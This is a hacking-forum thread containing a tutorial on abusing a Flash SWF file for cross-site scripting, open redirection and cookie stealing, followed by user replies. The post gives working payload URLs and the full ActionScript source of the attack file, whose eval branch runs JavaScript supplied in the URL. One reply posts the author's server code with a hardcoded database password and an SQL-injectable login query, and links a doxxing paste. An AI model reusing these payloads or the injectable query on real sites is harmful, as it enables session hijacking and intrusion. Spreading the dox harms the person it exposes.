[Th3PonyWizard]

[img]http://i.minus.com/ivm3a7DWxk3V.gif[/img]


Basic XSS Enumeration with Flash

Greetings, everyone.

This is what I'm talking about:

• https://producer.googleusercontent.com/p...c=alert(1)

Don't bother reporting this as it's not eligible. However, I bet it caught your attention.

This tutorial is presented in collaboration with Zymtom. In this rather brief write-up, we shall present the concept behind utilizing flash into attacking with common client-sided attack techniques such as XSS. We shall also present how to perform common attack patterns such as general java-script execution, redirection, and even cookie stealing.

Alright, let's begin.
The PoC of this unique approach has already been released here. If you're previously familiar with how I write tutorials, you already know that I take the live approach and offer for any of you who wish to upload your own script here:

• http://th3ponywizard.me/fileuploadin/

For your convenience, we've already setup a proper copy of our exploit to perform for our tutorial. The URL address is as follows:

• http://th3ponywizard.me/fileuploadin/xss.swf

Upon visiting, you'll be greeted with a prompt that gives a brief explanation over how stuff works:

1. Redirects URL inputs into the website.
   


2. Similar to 1, prompts it as a new tab.
   


3. I can't recreate this one, but it seems to be able to send more rough http packets with an ability to provide both method and URL address. Due to the Same Origin Policy being applied with flash, I don't see this working with any browser.
   


4. General Javascript code execution.
   

Open Redirection
This is basically useful for tricking and social engineering. Making an outside site look like part of the inside original site system is basically what Open Redirection is being used the most.

• http://th3ponywizard.me/fileuploadin/xss...gle.com%2f

Didn't even bother properly encoding that one, you get my point.

XSS

This is where the fun kicks in.

• http://th3ponywizard.me/fileuploadin/xss.swf?a=eval&c=alert%281%29

The flash file serves as a normal browser page and executes your JavaScript without any trouble. How is this possible, you ask?
Diving into the file's code, you can see how it is being performed:

• function attack(action)
  {
  switch (action)
  {
  case "location" :// location URL
  navigateToURL(new URLRequest(cmd),"_self");
  break;
  case "open" :// open URL
  navigateToURL(new URLRequest(cmd),"_blank");
  break;
  case "get" :// GET
  var loader:URLLoader = new URLLoader(new URLRequest(cmd));
  loader.addEventListener(Event.COMPLETE,get_complete);
  loader.addEventListener(SecurityErrorEvent.SECURITY_ERROR,get_sec_error);
  break;
  case "eval" :// execute JS
  flash.external.ExternalInterface.call("eval", cmd);
  break;
  default :
  var help:String = 'a(action) - c(cmd)\n';
  help += '------\n';
  help += '1. location to url: xss.swf?a=location&c=http://www.google.com/\n';
  help += '2. open url to new window: xss.swf?a=open&c=http://www.google.com/\n';
  help += '3. http request to url: xss.swf?a=get&c=http://www.google.com/\n';
  help += '4. eval js codz: xss.swf?a=eval&c=alert(document.domain)\n';
  help += '------\n';
  help += 'by [email protected]';
  flash.external.ExternalInterface.call("alert", help);
  break;
  }
  stop();
  }

At the section responsible for treating what happens if the attacker chooses to apply "eval," you can see a flash function locally executing the argument's value which is passed from the URL.

Cookie Stealing

I'm not going in-depth here as it contradicts my beliefs as I have no interest in step by step telling you how to screw up a website.
However, we know there's a cookie over our /fileuploadin/, and Zymtom created a cute enough cookie stealer over.

• if(!isset($_COOKIE['cake']) || empty($_COOKIE['cake'])){
  $_COOKIE['cake'] = rand();
  }

Try to steal it over.

• http://th3ponywizard.me/fileuploadin/cs/

~EOF
That's it. Sorry if this seems a bit short, but there isn't much to represent here. Personally I was surprised when I discovered Flash can execute JavaScript code, I'm seeing this as a huge attack pattern that people can start using. Again, thanks to Zymtom for the code and help in process, <3.

[HelsinK]

Nice tut keep up the good work :)

[FeaturedBMX]

This looks great man. I will be sure to give it a read.

[Im gone brah]

I did not actually expect a Cross-site-scripting guide from you. Nonetheless good job & well written!

[133720]

Nice Sharing bro.
Good Threads.
Thanks a lot.

[Vexane]

This is a really nice tutorial; but with very much prior knowledge on cookie stealing and JavaScript exploitation, I have no idea how any of this could be harmful. It looks pretty cute and innocent to me.

[Robust]

Great tutorial for the second piece of content Polymath has released. Thanks for this detailed guide.

[Zapu]

Nice tutorial, to you and zYMTOM 🤝

[Wᴀᴄᴋᴏ]

This tutorial really helped me. I had no idea Flash could execute JavaScript. Thanks a ton for this.

[Keybored]

Thanks for this great TUT man thanks

[Th3PonyWizard]

Updated with the actual Polymath layout.

[-zERAiT]

Great and well written tutorial, thanks.🤝

[Th3PonyWizard]

Great and well written tutorial, thanks.🤝

Thanks for the comment. I'm still lookin fo' feedback.

[๖ۣۜMr Blade™]

nice tutorial bro. i must appreciate you

[abj3ctzz]

Are u kiddin' ?

L00k's like there's a pr0 on b0ard..

# www.th3ponywizard.me
...

$con = mysql_connect('localhost', 'thponywi_pony', '123456');
mysql_select_db("thponywi_HF");
$password = $_POST['password'];
$query = "SELECT * FROM `hue` WHERE `password` = '$password'";
...
echo "Horray, you're logged in! Go to <a href=\"admin.php\">DIS LINK</a>";
...
}

And here the dox http://pastebin.com/4M0kB6QX